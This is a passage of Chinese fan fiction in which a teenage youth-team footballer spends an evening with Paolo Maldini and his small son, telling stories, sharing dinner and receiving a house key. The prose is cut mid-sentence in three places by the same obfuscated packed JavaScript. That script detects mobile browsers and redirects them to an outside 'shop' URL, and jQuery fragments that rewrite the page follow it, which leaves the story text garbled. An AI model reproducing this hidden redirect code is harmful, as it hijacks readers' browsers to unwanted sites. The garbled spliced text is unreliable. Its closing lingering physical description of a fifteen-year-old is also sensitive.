“克里斯好像特别喜欢我。”洛伦佐抱着克里斯蒂安走到门口,完全没意识到自己刚刚被如何细致地“检阅”了一番,有点不好意思地对马尔蒂尼说。
“他眼光不错。”男人站直身体,很自然地伸手揉了揉儿子毛茸茸的后脑勺,笑着开口,语气里带着淡淡骄傲,“而且你确实有那种……让人放松的气质。不止是对小孩。”
“进来吧,别在门口站着了,晚餐大概还要等一会儿。”他引着洛伦佐往客厅走,又看了看自己的儿子:“克里斯,你是不是该让哥哥先把东西放下,喘口气?”
克里斯蒂安看看爸爸,又看看洛伦佐软乎乎的脸,似乎在权衡。
最后,他凑到洛伦佐耳边,用自以为很小声、其实大家都听得到的音量说:“那你等下要陪我玩小汽车!”
“成交。”洛伦佐也小声回答,这才小心翼翼地小家伙放在铺着柔软地毯的地板上,又把一直紧紧抓着的布袋放在一旁的茶几上。
布袋随着他的动作发出轻微的、玻璃与纸盒摩擦的窸窣声。
脚踏实地的克里斯蒂安立刻牵住洛伦佐空出来的手,拽着他往自己房里走,迫不及待要展示自己的玩具王国。
马尔蒂尼看着这一大一小两个身影没入屋内温暖的灯光里,摇了摇头,转身去厨房准备三个人的晚餐了。
11. Lollo讲故事
克里斯蒂安的房间像被彩虹轰炸过。
墙壁是柔和的淡蓝色,但地上散落的玩具、绘本和那七八辆颜色扎眼的小汽车,构成了一片热闹的混乱。
小家伙一进屋就直奔他的宝贝车队,哗啦一下把它们推到洛伦佐脚边,然后一屁股坐在地毯上,仰起圆乎乎的小脸,眼睛里满是期待。
“Lollo,给它们起名字!”克里斯蒂安下达指令,小手拍着地板,“还要讲故事!每个都要!”
要是别的男孩被要求给玩具车起名字编故事,大概会挠头或者觉得幼稚。
但洛伦佐眼睛都没眨一下,“收到,长官!”他学着以前看过的电影里的样子,做了个不标准的举手礼,也跟着盘腿坐下。
洛伦佐随手抓起一辆红色的小车。“这个嘛,红得这么耀眼,像夏天最熟的草莓。它跑起来一定带着风,还有……嗯,草莓酱的香味!所以它叫‘草莓酱’!”
克里斯蒂安激动的直蹬腿,对这个名字显然很满意。
“至于故事,”洛伦佐把“草莓酱”放在地毯上,做出滑行的动作,“它可不是普通小车。它最喜欢在下午,趁大家睡午觉的时候,偷偷溜去城里。它知道所有最短的小路,能穿过只有猫咪才知道的窄巷。
有一天,它跑到城外的山坡上,看到一道彩虹正好落在草地上。你猜怎么着?它一下子冲过去,发现彩虹的尽头不是金子,是一大片真正的、没人摘过的草莓田!
它装了满满一车斗,虽然你看不见车斗,然后赶在太阳下山前溜回家,每个轮胎缝里都带着甜丝丝的草莓香。”
小家伙听得张大了嘴,然后咯咯笑起来,用力拍地毯:“系草莓!我也要!”
“轮到你了,给它找个搭档吧。”洛伦佐递过去一辆紫色的跑车。
克里斯蒂安接过,想了半天:“它……它叫‘葡萄’!”
“好名字!”洛伦佐接过“葡萄”,声音压低,做出神秘的样子。
“‘葡萄’是‘草莓酱’最好的朋友,但它喜欢安静。它总在半夜,等所有人都睡着了,才悄悄开出去。
它也不开大路,专找月光照得到的小路,慢慢地开。
你知道它去干嘛吗?它是去收集大家做的好梦。它车顶上有个小小的、银色的网兜,路过谁的窗口,如果那人在做好梦,梦里飘出来的泡泡就会被网兜接住。
然后,‘葡萄’就把这些亮晶晶的泡泡带到城外的向日葵田里,轻轻撒下去。第二天早上,向日葵就会开得特别大,每一片花瓣上都映着一点点梦的颜色。”
克里斯蒂安浅棕色的眼睛眨也不眨,好像真看到了那片撒满梦的向日葵田。
他紧紧抱着“葡萄”,小声说:“它今天晚上也会出去吗?”
“只要克里斯乖乖睡觉,说不定就能听到它路过的声音,呼——像一阵很小的风刮过。”洛伦佐煞有介事地点头。
已经完全被Lollo迷得神魂颠倒的小团子赶忙拿起一辆蓝色的小吉普车:“这个呢?这个呢?”
“这辆啊,”洛伦佐接过蓝色吉普,“它颜色像最深的海水,所以叫‘蓝宝石探险家’。
它也是不喜欢平坦的大路一员,专爱往有坑洼、有小石子、有积水的地方开。因为它总觉得,最好玩的东西都藏在大家不去的地方。
有一次下雨,它发现公园里一棵老树脚下有个小洞被水淹了,里面有一只甲虫妈妈和它的宝宝困住了。
‘蓝宝石’就小心翼翼地开过去,让甲虫妈妈带着宝宝爬到它的车顶上,然后把它们送到了干燥的树叶堆上。
你看它轮胎上的花纹,”洛伦佐指着玩具车廉价的塑料轮胎,“是不是特别粗?就是为了抓地救人用的!”
“它好厉害!”克里斯蒂安崇拜地看着那辆蓝色吉普,然后扑向下一辆绿色的卡车,“这个!讲这个!”
洛伦佐眉飞色舞地拿着那辆绿色小车准备开始即兴创作,是一个关于“菠菜大力士”(虽然克里斯蒂安很讨厌吃菠菜)的离奇故事。
就在这时,房门被轻轻敲了两下,然后推开了。
马尔蒂尼已经脱掉了之前的针织衫,只穿着一件简单的白色短袖。
他脸上带着笑意,目光扫过地毯上两个挨得很近的脑袋。“故事会的两位成员,晚餐准备好了。小车们也该进站补充能量了。”
克里斯蒂安立刻发出抗议的呜呜声,但洛伦佐的肚子很应景地轻响了一下。
他不好意思地拍拍肚皮,把绿色小车放回地毯上:“看来‘菠菜大力士’的故事要等下次了,它好像也饿了。”
餐厅的灯光是暖黄色的,照着铺了深蓝色桌布的方桌。三副餐具已经摆好,空气中弥漫着令人胃口大开的香气。
洛伦佐走近一看,眼睛立刻亮了。桌上摆着几道看起来很家常,但对他而言充满惊喜的菜。
一道是切成小块的烤鸡腿肉,表皮烤得金黄微焦,浸在一种浓稠的、颜色鲜亮的酱汁里,闻起来有明显的番茄和香草;
另一道是撒了大量奶酪碎、烤得边缘微微焦脆的意式烤蔬菜(茄子、西葫芦、彩椒);还有一大盘淋着深色油醋汁的沙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265245|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉。主食则是简单的肉酱意面。
“哇!”洛伦佐忍不住发出小小的惊叹,看向正在给克里斯蒂安围上餐巾的马尔蒂尼,“队长,这些看起来都好好吃。”他尤其多看了几眼那道酸甜口的烤鸡。
“随便做了点。我记得你好像提过喜欢味道鲜明些的菜。”马尔蒂尼一边给克里斯蒂安围上餐巾,一边随口道,嘴角却有抹淡得几乎看不见的弧度。
他当然记得,在那些零零碎碎的联系里,洛伦佐抱怨过营养餐的清淡,会怀念地提起爷爷做的某道辣味菜,或者奶奶调的某种酸甜汁,然后咂咂嘴,说“就偶尔想想”。
那些孩子气的、关于口味的嘀咕,马尔蒂尼都听到了心里。今天这顿家常晚餐,他就想让这个被迫克制食欲的少年,能暂时放开享受一下。
把儿子安顿好,马尔蒂尼才坐下,他指了指那道烤鸡腿肉,“试试这个,阿德里亚娜(他的妻子)以前常做,我对着她留下的菜谱试了几次。”
他说得自然,洛伦佐却听出了话里那层温和的、已成过去的意味。
马尔蒂尼和妻子分开住快一年了,两岁的小儿子丹尼尔跟着妈妈生活。克里斯蒂安则和爸爸在一起。
这屋子里有许多属于家庭生活的痕迹——墙角的儿童书架,冰箱门上歪歪扭扭的蜡笔画,但现在确实只有他们父子常住。
男人的语气里没有抱怨或伤感,只是陈述一个事实,这让洛伦佐不知该如何接话,只是“哦”了一声,点点头。
马尔蒂尼似乎看出了他的细微局促,笑了笑:“不知道这次有没有成功。”
两个人说话的期间,克里斯蒂安已经熟练地叉起一块鸡肉塞进嘴里,鼓着腮帮子含糊地说:“好吃!爸爸练过的!”马尔蒂尼轻轻拍了下儿子的后脑勺:“好好咽下去再说话。”
洛伦佐夹起一块裹满酱汁的鸡肉送进嘴里。
烤得恰到好处的鸡肉嫩而多汁,酸甜的酱汁平衡得很好,带着新鲜番茄的微酸和香草的清香,还有一丝隐约的、让人食欲大开的复合香料味道。
“好吃!”他咽下去,由衷地称赞,眼睛弯了起来,像只晒到太阳的猫。
马尔蒂尼看着他毫不掩饰的满意表情,眼底的笑意深了些,自己也尝了一口。“那就好。多吃点,你还在长身体。”
餐桌上的氛围很轻松。
克里斯蒂安叽叽喳喳地说着幼儿园的事,洛伦佐则讲了点最近青训营里搞笑的事情,比如某个队友试图用足球砸下树上的果子结果球卡在了树杈上。马尔蒂尼大多时候听着,偶尔插几句话。
12. 称呼与情景剧
笑声时不时响起,马尔蒂尼看着对面一大一小两个脑袋凑在一起分享烤土豆块,忽然开口:“洛伦佐。”
“嗯?”少年抬起头,嘴角还沾着一点点酱汁。
“也许以后,你可以不用总是叫我‘队长’。”他语气自然,就像在说今天的天气不错,“叫我保罗就行。这里又不是训练场,我也没穿球衣。”
洛伦佐还有点没反应过来。“叫我‘队长’的人太多了。”马尔蒂尼目光温和地落在他脸上,“而且我们认识有很长一段时间了。”
这话说得含蓄,但意思明确。
洛伦佐眨眨眼,在最初的愣神后,一种混合着惊讶和巨大喜悦的情绪“噗”地在他心里炸开,像偷偷期待了很久的礼物突然被递到手里。
“真的?”他声音里带着压不住的雀跃,随即又觉得自己反应太大,轻咳一声,努力让表情正经些,“我是说……好的,保罗。”
洛伦佐答应得飞快,好像怕对方反悔。
紧接着,他又迫不及待地补充,眼睛亮晶晶的:“那、那你也可以叫我Enzo!或者Lollo!大家都这么叫!”
天知道,他其实早就觉得一直叫“队长”有点太正式、太有距离感了,他和费德里科他们私下都互相叫昵称,就算对教练,熟络了之后称呼也会变得更随意一些。
但对面可是保罗·马尔蒂尼啊!是那座沉默而可靠的山。他自己只是个青训营的小子,怎么好意思主动提?
洛伦佐总是会在某个对方突然冒出这种扭捏。改不了,改不了,一辈子都改不了。
马尔蒂尼看着他那毫不掩饰的高兴样子,眼底的笑意深了些。“好的,Lollo。”他选了后面那个,自然而熟稔。
这个名字从他柔软的嗓音里念出来,带着一种独特的温和与亲昵,和家人叫的时候感觉不一样,和队友们闹哄哄地喊的时候也不一样。
洛伦佐觉得耳根有点发热,赶紧低下头又塞了一口意面,但嘴角怎么也压不下去。
饭后,马尔蒂尼收拾餐具,洛伦佐想帮忙,被笑着赶去客厅陪克里斯蒂安。
他看着男人熟练地清理餐桌、将碗碟放入洗碗机,高大的身影在厨房暖光下移动,有种奇异的、居家的温柔感。
等马尔蒂尼收拾好厨房出来,本以为到了该给儿子洗漱、哄睡的时间,却发现挑战才刚刚开始。
克里斯蒂安玩兴正浓,丝毫不见困意,像只精力过剩的小熊崽在沙发上蹦跳。“不要睡觉!还要和lollo玩!”他抱着洛伦佐的胳膊,耍赖地吊在上面。
被吊着的那个人不但不劝,反而一脸“我支持你”的表情,也跟着起哄:“是啊队——保罗,你看他多精神!睡什么觉,起来嗨!” 他朝克里斯蒂安眨眨眼,小家伙得到声援,闹得更起劲了。
马尔蒂尼看着这一大一小联手造反,无奈地叹了口气,但那叹息里分明带着纵容的意味。
他算是看出来了,洛伦佐这家伙,熟了之后根本就是个还没完全长大的孩子。
“十分钟。”他竖起一根手指,最终妥协,“最多十分钟。”
“耶!”胜利的欢呼响起。
马尔蒂尼走到克里斯蒂安面前,弯下腰,双手稳稳地架住儿子的腋下,稍一用力,就把小家伙举了起来,然后熟练地让他骑坐在自己的后颈上。
“抓紧了。”他的声音带着笑,双手则牢牢固定住克里斯蒂安乱蹬的小腿。
团子发出兴奋的尖叫,高高在上地挥舞着手臂。马尔蒂尼在客厅里慢慢踱步,时不时还小跑两步,做出起伏的动作,惹得肩上的小家伙笑声不断。
洛伦佐在旁边看着,眼珠一转,立刻进入角色。他张开手臂,像翅膀一样地上下扑腾,喉咙里发出自认为很凶狠的“吼——吼——”声,绕着“骑马”的父子俩打转。
“注意!恶龙来啦!”他压粗了嗓子宣布,“恶龙要抓走最可爱的小王子克里斯,带回我的巢穴!你们快投降吧!”
马尔蒂尼停下“飞行”,把儿子护在肩头,假装严肃地回应:“狂妄的恶龙!这里可是国王的领地,我有很多英勇的战士!你要是来了就别想走!”
克里斯蒂安兴奋得小脸通红,紧紧抓着爸爸的头发,尖声附和:“对!你别想走!我们有很多很多人!”
洛伦佐扮演的恶龙立刻恼羞成怒,在空中(其实是踮着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265246|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚)转了个圈,得意洋洋地宣布:“哼!我才不怕!我的巢穴里,有堆成山的、亮晶晶的宝石!红的像樱桃糖,绿的像薄荷冰,蓝的像蓝莓果冻!还有……”
他故意拉长声音,抛出杀手锏,“还有吃不完的巧克力瀑布和会跳舞的草莓小蛋糕!比国王的城堡好玩一千倍!”
这一下,精准击中了四岁孩童最朴素的梦想。
“巧克力瀑布?”克里斯蒂安的眼睛瞬间瞪大了,小脸上写满了震惊和向往。
他几乎没有经过任何思想斗争,立刻叛变,急切地拍着爸爸的头:“爸爸!快!让恶龙把我抓走!我要去巢穴!我要去看宝石和巧克力瀑布!”
马尔蒂尼被儿子这果断的“投敌”逗得笑出声,接着又假装伤心地叹了口气:“唉,我的王子就这么被收买了吗?那国王我怎么办呢?”
克里斯蒂安有点犹豫了,看看爸爸,又看看眼前等着抓他的“恶龙”。
洛伦佐扮演的恶龙很大度地挥了挥手:“别难过,国王!我的巢穴大得很,你来也有地方住!我可是贪心的恶龙!来者不拒!”
这下,连“国王”本人都难过不下去了。
马尔蒂尼笑得眼角泛起细纹,他托着儿子,看向眼前仿佛把整个房间都照亮了的少年,心中那片连自己都未曾深究的柔软之地,像是被暖洋洋的春水漫过。
他把克里斯蒂安从脖子上抱下来,揽在怀里,笑着对洛伦佐说:“那看来,今晚恶龙大获全胜。”
克里斯蒂安挣扎着扑进洛伦佐怀里,还在追问:“真的有会跳舞的草莓小蛋糕吗?”
“当然有,”洛伦佐抱起他,信誓旦旦,“不过它们只在好孩子睡着后才开始跳舞。所以,现在某位小王子是不是该去准备睡觉,才能在梦里见到它们?”
克里斯蒂安被这个说法说服了,终于乖乖点头。墙上的时钟指针明确地走过约定时间,马尔蒂尼趁机抱起儿子,朝浴室走去,回头对洛伦佐说:“稍微等一下,我先处理这个小叛徒。”
洛伦佐帮忙收拾了一下沙发上的玩具,听着浴室里传来的水声、小孩的嘟囔和男人温和的催促,脸上还残留着刚才玩闹带来的红晕和笑意。
13. 钥匙
浴室里的水声停了,接着是吹风机低低的嗡鸣和克里斯蒂安含糊的嘟囔。
等马尔蒂尼抱着换好睡衣、头发蓬松得像只小鸭崽的儿子走出浴室时,洛伦佐舒舒服服地坐在沙发上。
“该睡觉了,克里斯。”马尔蒂尼说着,就要往儿童房走。
可克里斯蒂安在他怀里扭来扭去,小手伸向沙发方向,声音带着睡前的黏糊和一丝不情愿的清醒:“要Lollo……Lollo…哄我睡。”
被闹到头大的父亲只好停下脚步,向洛伦佐发起求助。
洛伦佐已经从沙发上站起来了,暖黄的光线滑过他浅绿色的T恤下摆,在他的下颌线处投下浅浅阴影。
男孩咧开嘴,走过去,很自然地朝克里斯蒂安伸出手。
小家伙立刻像归巢的雏鸟般扑进他怀里,带着刚沐浴完的热乎乎、香喷喷的气息,把脸埋在他颈窝蹭了蹭。
洛伦佐稳稳地抱着他,动作熟稔得仿佛做过无数次。他转向马尔蒂尼,用口型无声地问:“可以吗?”
马尔蒂尼点了点头,目光落在儿子紧紧环住洛伦佐脖子的胳膊上,又移到他低垂的、被睫毛覆盖的眼睛。
害怕克里斯蒂安又兴奋起来,少年此刻脸上那种玩闹时的兴奋已经收了起来,倒是显得很沉静。
儿童房里只开着一盏星星形状的小夜灯。洛伦佐把克里斯蒂安放进柔软的被子里,自己侧身坐在床沿。他没有立刻开始讲“菠菜大力士”的故事,只是用手指很轻地梳理着小孩额前的棕发。
“Lollo,”克里斯蒂安在昏暗中眨着眼,小手从被子里钻出来,勾住洛伦佐的一根手指,“你下次……什么时候再来呀?”
这话听起来像是孩子单纯的依恋,可是那声音闷闷的,还带着一丝不同寻常的、黏稠的不舍。
洛伦佐想起在奶奶的诊所里,那些因为主人暂时离开,显得格外焦躁、拼命扒着笼子的小狗。
它们并不是不听话,只是用全部的本能表达着“别走”。
克里斯蒂安的声音很小,带着困意,也藏着一点小心翼翼的期盼。“我喜欢你来找我玩。爸爸也喜欢。”
他瘪瘪嘴,像在思考怎么表达,“你来了,爸爸会笑很多……他以前,有时候会看着电话,不说话,好久好久。”
洛伦佐一时间不知道该怎么接话,只好抬起眼,飞快地瞥了眼门口的马尔蒂尼。
男人站在阴影里,脸上的表情看不太清,只是那抱臂的姿态似乎比刚才更僵硬了些,指节微微抵着手肘。
手指被勾着,洛伦佐没乱动,就着这个姿势,慢慢地、有节奏地轻拍克里斯蒂安的背,像在安抚一只受惊的雏鸟。
“克里斯,”他放柔了声音,用小孩子能理解的逻辑说,“你知道蝴蝶为什么有时候会不见吗?”
克里斯蒂安窝在被子里轻轻摇了摇头。
“因为它们要去找最甜的花蜜,找到之后,才能带回更香的翅膀,下次飞回来的时候,就会更漂亮。”
洛伦佐慢慢地说,“我呀,就像那只蝴蝶。我得回去好好训练,踢好多好多球,等我变得再厉害一点点,就能带来更好玩的故事,说不定还有新玩具。不然老是同一个故事,你听腻了怎么办?”
“不会腻!”克里斯蒂安立刻反驳,小脸上写满倔强,“你讲的故事最好听!比爸爸买的故事书还好!”
洛伦佐笑了,用鼻尖蹭了蹭小家伙的额头:“那为了永远都‘最好听’,蝴蝶也得去充电呀。我保证,充完电就飞回来找你玩,好吗?”
小孩子对情绪的感知有时候直接得惊人。
四岁的克里斯蒂安或许说不清“分居”和“落寞”这些词,但妈妈很久没来家里睡觉了……丹尼尔弟弟也不在,爸爸有时接完电话会沉默地发呆。
他知道爸爸每次和金头发的小大人打完视频,或者像今晚这样在一起后,家里偶尔那种让他难受的感觉就会变得松快起来,爸爸的眉头会展开,笑的时候连眼睛也会弯。
克里斯蒂安记得自己好几次故意在爸爸和小大人视频时跑过去,挤进镜头。
不仅仅是因为对方会做鬼脸、会哼奇怪的歌、会给他看滚来滚去的弹珠,更是因为他喜欢看到爸爸揽着他,对着屏幕那头的洛伦佐说话时,脸上那种放松的、带着光的神情。
今晚的一切,还有此刻手心里这个温度,都太好太好了,好到小孩害怕一旦松手,明天醒来又会变回只有他和爸爸两个人的、过于安静的房子。
“那你以后多来,好不好?”克里斯蒂安的手指收紧了些,带着孩童的认真,“我把我所有的玩具都分你玩。爸爸做的饭也分你吃。我的床也分你一半……如果你想留下来睡觉的话。”
洛伦佐感觉自己都快化了,“我也很喜欢来呀,”少年的声音放得很柔,像在哼唱一首没有旋律的歌。
他用指腹轻轻摩挲克里斯蒂安的手背,“喜欢和克里斯玩小汽车,喜欢听你说幼儿园的事,也喜欢看到保罗笑。”
孩子的父亲看着床边这一幕。
少年此刻微微弓着背,以一种全然保护的姿态,将他的儿子几乎拥在怀里,金色的发顶在床头灯下晕开一团柔和的光晕。洛伦佐低声说话时,侧脸的线条显得异常柔软,那是一种与他平时活泼跳脱截然不同的、沉淀下来的温柔。
而克里斯蒂安,他那个敏感的儿子,正紧紧依偎着这份温柔。
洛伦佐的声音又轻又稳,另一只手有一下没一下地拍着被子。得到安慰的团子,呼吸逐渐变得悠长均匀,攥着洛伦佐的小手也慢慢松开了。
马尔蒂尼始终安静的站在门边,儿子那些稚气却敏锐的话语,像细小的针,轻轻刺破了他作为父亲试图维持的、一切正常的表象。
他和阿德里亚娜努力把分离处理得平静,尽量不在孩子面前流露情绪,以为克里斯蒂安还小,不懂。可孩子什么都感觉得到。
那种家里缺失了一块的空寂感,大人沉默时压抑的气氛,孩子的心像最精密的晴雨表,测量得一清二楚。
此刻,他看着儿子在那轻柔的声音和抚拍中,安然入睡的模样,心里满是复杂难言的情绪。
洛伦佐像一颗偶然滚入寂静山谷的、会发光的种子。不仅在他自己尚未完全察觉时,在那些疲惫而沉寂的时刻里扎了根,生出了令他放松的枝叶。
竟也在这片因家庭变迁而略显冷清的土地上,为克里斯蒂安悄然撑开了一小片充满奇趣与安全的绿荫。
这种认知让马尔蒂尼感到一丝极淡的、几乎无法捕捉的狼狈,但它迅速被珍惜淹没了。
他不能,也绝不会,用任何言语去索求或定义它。那太沉重,也太不公平。
等克里斯蒂安彻底入睡,洛伦佐才极其缓慢地直起身,他踮脚跟着马尔蒂尼走出房间,门轴转动,发出一声几乎听不见的叹息。
走廊里也只剩下一盏壁灯,光线昏黄,将两人的影子长长地投在木地板上。马尔蒂尼转过身,面对着洛伦佐。
走廊很窄,他们站得很近,近到马尔蒂尼能看清洛伦佐脸上被灯光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265247|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照出的、细小的绒毛,能闻到他身上淡淡的、来自克里斯蒂安沐浴露的甜香。
“他其实知道,”马尔蒂尼忽然开口,声音压得很低,目光落在紧闭的房门上,“我和阿德里亚娜……我们尽力想显得正常,”
他扯了扯嘴角,袒露着苦涩与疲惫。“他只是不说,或者,不知道怎么说。”
洛伦佐安静地听着。他能理解那种“知道但说不出的感觉”,就像他有时候心里塞满各种念头,却找不到合适的词倒出来一样。
此时此刻,洛伦佐心中那个一直高大的米兰旗帜此刻看起来那么脆弱,他嘴唇蠕动却又觉得任何语言都是苍白的。
于是,他试探性的张开手臂。
两个人本就相近的距离,消失了。这个拥抱短暂而有力,几乎不像拥抱,更像是一次确认。
马尔蒂尼的手掌在洛伦佐单薄的肩胛骨上,停留了扎实的一秒。感觉着少年衣料下,正在成长的骨骼线条,然后便松开了。仿佛只是前辈对晚辈一次格外郑重的感谢。
“谢谢你,Lollo。”他的声音低沉起来很明显,带着沙哑,像是从胸腔深处直接滚出来的。
后背那里仿佛还残留着,成年男性手掌的温度和力度。洛伦佐摇摇头,神色认真地纠正,“是克里斯自己很棒。”
接着又很自然地说:“而且我也很喜欢克里斯和保罗啊!”他的脸上带着点坦诚的、属于少年人的赤忱。
马尔蒂尼的嘴角弯了起来,没再说感谢的话。到了客厅,他走到玄关的柜子旁,拉开一个抽屉,摸索了一下,拿出一把银色的钥匙。
钥匙很普通,挂在一个皮革编织的钥匙环上,皮革的边缘已被磨得光滑,是长期使用的痕迹。
“这个你拿着,”他把钥匙递到洛伦佐面前,“克里斯说得对,应该常来。”声音已经恢复了平常的柔软。
“以后……如果你训练结束早,或者周末有空,随时可以过来,这里离训练基地不算太远。不一定非要我在家,冰箱里有吃的,客厅的唱片你也可以随便听。克里斯要是知道你有钥匙,能自己进来,肯定高兴得不得了。”
马尔蒂尼给出的理由实际而周全,甚至考虑到了洛伦佐可能需要个人空间。但递出钥匙的姿势稳定而坚持,掌心向上,是一种毫无保留的交付姿态。
当洛伦佐抬起手,略显迟疑地伸过来时,马尔蒂尼的手掌向前送了送,让钥匙落入少年手中。冰凉的金属触感在两人皮肤短暂接触的瞬间传递。
既然接受了,就没有再拒绝的道理,洛伦佐合拢手指,握住钥匙,金属的棱角硌着掌心,有一种奇特的实在感。
“好吧,”他抬起头,对马尔蒂尼露出了一个干净的笑容,就像每次接到传球、准备做点什么有趣事情时的那种表情:“哈,到时候,我会来到你们都嫌烦的!”
马尔蒂尼似乎就等着这句话,“随时欢迎。”他眼角牵起熟悉的笑纹,“走吧,”他说,“我送你回家,之前准备给你的东西都在车上,一起带回去。”
洛伦佐把钥匙放进裤子口袋。给男人穿的裤子,无论是短裤、长裤,哪怕是西装,都少不了口袋。金属隔着布料贴着腿侧,小小的,存在感并不明显。
他跟着马尔蒂尼向外走,夜晚的空气涌过来,带着凉意。对方的话提醒了洛伦佐,差点忘了自己带了礼物给马尔蒂尼。
脚步加快,觉得自己跟保罗的关系更熟了点的lollo,叽叽喳喳的把自己的杰作透露的一干二净,完全没给马尔蒂尼事后惊喜的余地。
14. 过渡+最初的绰号
洛伦佐回到家,在台灯下仔细看马尔蒂尼给他的东西。
刚入眼是一个绒布盒,打开来,里面是几枚老式的足球俱乐部徽章。看样子有些年头了,边角有细微的磨损,但擦拭得很干净。
“这些是从我刚开始踢球时用的,”马尔蒂尼在车上给他时这么说,“没什么用,就是些旧东西。觉得你可能会喜欢。”
洛伦佐明白这是什么。他们就像是时间的碎片,是“保罗·马尔蒂尼”这个传奇开始之前,一?个普通男孩训练包里的一部分。
除此之外,一盒比利时巧克力;一本巴掌大小的皮质笔记本,封面是柔软的深红色,内页空白;还有一小罐闻起来像森林和薄荷混合味道的手工护手霜,大概是注意到了洛伦佐最近手有些干燥。
最后,洛伦佐拿起那片海玻璃对着灯光看。
它比想象中还要小,只比他的小指指甲盖大一圈,那种被海水和时间打磨出的温润质感,以及中间那道清晰的月牙白纹,在光线下显得格外漂亮。
他左看右看,总觉得就这么放着太可惜了。它应该被看见,被戴着。
于是周末,洛伦佐骑着车,在米兰兜兜转转,找到了一家藏在小巷里的手工饰品店。店主是个手指灵巧、戴着单边眼镜的老太太。
“颜色很漂亮。可以镶在银托上,做成吊坠,”她接过玻璃,对着光看了看,“或者,我可以用结实的皮绳和细链编个链子,把它串进去,更随性一点。”
洛伦佐眼珠子一转,选择了后者。手链的佩戴频率更高些,想看也更方便。
他趴在板凳上,看着老太太工作。店里很安静,只有工具细微的叮当声。
等待的时候,他的目光落在玻璃柜台里一排排闪亮的耳钉上。摸了摸自己光滑的耳垂。
“想打耳洞?”老太太头也不抬地问,手上动作没停,“我这里也可以做。很快,不疼。”
确实,过程比他想象的要快,两边耳垂各一下,像被蜜蜂精准地蜇了,差点没反应过来。老人家给他换了最初级的银色小耳钉,叮嘱了些护理事项。
洛伦佐对着镜子瞅瞅自己,耳垂上两点微小的闪光,让他觉得有点新奇,也挺酷。
等洛伦佐从店里出来时,手腕上多了一条黑色皮绳和银链交缠编织的手链,海玻璃被巧妙地串在编织纹路中,戴在手腕上轻巧又特别。
他超喜欢,决定今晚洗澡的时候也不摘。还在店里收集了不少耳钉,有简单的银圈,也有小巧的几何图形,甚至还有那种末端挂着细链子的,好看~
生活继续向前滚动,像训练场上永不停歇的传球。
U15的日子在规律中过得飞快。洛伦佐每周准时出现在训练场,和费德里科他们插科打诨,抱怨营养餐里煮过头的西兰花,软趴趴的。也偶尔为某天特别好吃的肉酱面欢呼。
他需要吃下很多难吃的或好吃的,像一棵努力抽条的树,贪婪地吸收着阳光和养分,然后把它们转化为身高、力量和球场上的高光表现。
更衣室里永远不会停歇的、关于游戏、女孩和昨天电视节目的吵嚷,瓦莱里奥中气十足的吼声,射门练习后球网发出的闷响……所有的这些,拼凑出洛伦佐十四到十五岁之间的寻常岁月。
他的头球确实越来越好了。
当身体逐渐告别那种每月都在变化的失衡感,找到稳定的核心后,判断落点和起跳时机变成了一种更可靠的本能。渐渐也能顶出些让门将意外的角度。
某次例行测量,洛伦佐的最新身高刻度停在了177.3cm。负责记录的助理教练吹了声口哨:“看来我们的预测挺准,快速生长期差不多结束了,Lollo。” 他自己感觉也是,那种夜里骨头发胀的感觉已经不怎么出现了。
他的头发不知不觉长过了耳垂,又慢慢向肩膀滑去。最初只是没顾得上去剪,后来发现跑动时,头发飞起来的感觉不赖,就干脆留长了。
意大利球员留长发似乎是一种传统,巴乔、曼奇尼、乃至现在的内斯塔……洛伦佐觉得这挺酷。他开始收集发绳和发带,纯色的、印花的、编织的,和他越来越多的耳钉、戒指等放在一起。
训练或比赛时,洛伦佐通常用一根简单的黑色发带将额前碎发箍住,或者干脆在脑后扎个小揪,露出光洁的额头和清晰的眉眼。
平时,他则会让头发休息休息,金色的卷发披散时显得有点浪漫过头,搭配他越来越不错的穿着,走在米兰街头偶尔会收到一些欣赏或惊喜的目光。
变化的不止身高。洛伦佐身上的肌肉线条也日益清晰。
长期的系统性训练赋予了他流畅而柔韧的肌理,尤其是在奔跑或发力时,肩背和腿部的线条会清晰地绷现出来,充满弹性的力量感。
这些肌肉让他看起来比同类型的灵敏型前锋要“有料”些,却绝不笨重。
更衣室里,偶尔会有队友带着善意的调侃拍拍他的背或胳膊:“啧啧,enzo,你这身板,现在可不能只撞一下了。” 少年通常会笑着躲开,或者回敬一句:“哇,你看看你自己!撞谁不是一屁股的事情!”
十五岁多的洛伦佐,体重稳定在65公斤左右,体脂率控制在13%。
骨架的纤细让他穿上衣服时总显得有些清瘦,但脱下训练服,那层匀称的肌肉覆盖在白皙的皮肤下,在放松时,甚至呈现出一种柔和的起伏感。
